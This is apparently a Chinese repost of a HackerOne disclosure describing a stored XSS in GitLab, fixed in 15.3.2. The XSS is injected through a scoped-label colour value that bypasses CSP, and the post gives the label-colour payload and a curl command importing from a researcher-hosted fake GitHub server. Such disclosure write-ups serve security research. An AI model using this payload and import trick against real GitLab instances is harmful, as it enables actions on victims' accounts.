最新H1漏洞披露:通过作用域标签绕过 CSP 的存储 XSS,获得$13,950赏金奖励

渗透技巧 1年前 (2023) admin
239 0 0

声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。


背景介绍:


H1最近披露了一处GitLab的漏洞,白帽通过作用域标签绕过CSP,从而实现存储型XSS攻击,该漏洞已经在 Gitlab 15.3.2 版本修复。


漏洞详情:


要复现该漏洞,需要以下前提条件:

  • Scoped 标签在 Gitlab Premium 中可用,因此需要通过免费试用来获得一个高级帐户

  • 一个 Gitlab 个人访问令牌(可通过
    https://gitlab.com/-/profile/personal_access_tokens?name=test&scopes=api
    申请获得)

Github 不允许创建任意颜色的标签,可以在附件中找到一个虚拟 Github 服务器,然后在其中设置了一个新标签:

  • name: yvvdwf::label-name (the :: to scope the label)

  • color: ">yvvdwf-label<form class='hidden gl-show-field-errors'><input title='<script>alert(document.domain)</script>'>

为了便于复现和验证漏洞,白帽在自己的VPS http://51.75.74.52:11211 上托管了虚拟Github服务器。

打开一个terminal,然后运行以下命令,其中:

  • $GL_TOKEN 是上面创建的 api token

  • yvvdwf-group-a 是一个具有高级功能的组(或帐户)名称

代码示例:

curl -kv "https://gitlab.com/api/v4/import/github"   --request POST   --header "content-type: application/json"   --header "PRIVATE-TOKEN: $GL_TOKEN"   --data '{    "personal_access_token": "ghp_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",    "repo_id": "523303538",    "target_namespace": "yvvdwf-group-a",    "new_name": "xss-on-label-color",    "github_hostname": "http://51.75.74.52:11211"}'

完成后,可以查看导入项目的标签列表,应该会看到由该脚本创建的弹出窗口

Document.domain

因为可以控制标签的颜色,所以可以使用 CSP-Bypass 在另一个位置创建存储XSS,而不是使用特定于 GitLab 列出标签的页面上创建存储的XSS,例如:

  • https://gitlab.com/yvvdwf-group-a/xss-on-label-color/-/labels

  • https://gitlab.com/yvvdwf-group-a/xss-on-label-color/-/issues/


漏洞影响:

有 CSP-bypass 的 存储型 XSS 允许攻击者对受害者执行任意操作。

希望本文能对你有所收获,欢迎转发分享~

本文原文:https://hackerone.com/reports/1693150

====正文结束====


原文始发于微信公众号(骨哥说事):最新H1漏洞披露:通过作用域标签绕过 CSP 的存储 XSS,获得$13,950赏金奖励

版权声明:admin 发表于 2023年2月21日 下午4:26。
转载请注明:最新H1漏洞披露:通过作用域标签绕过 CSP 的存储 XSS,获得$13,950赏金奖励 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...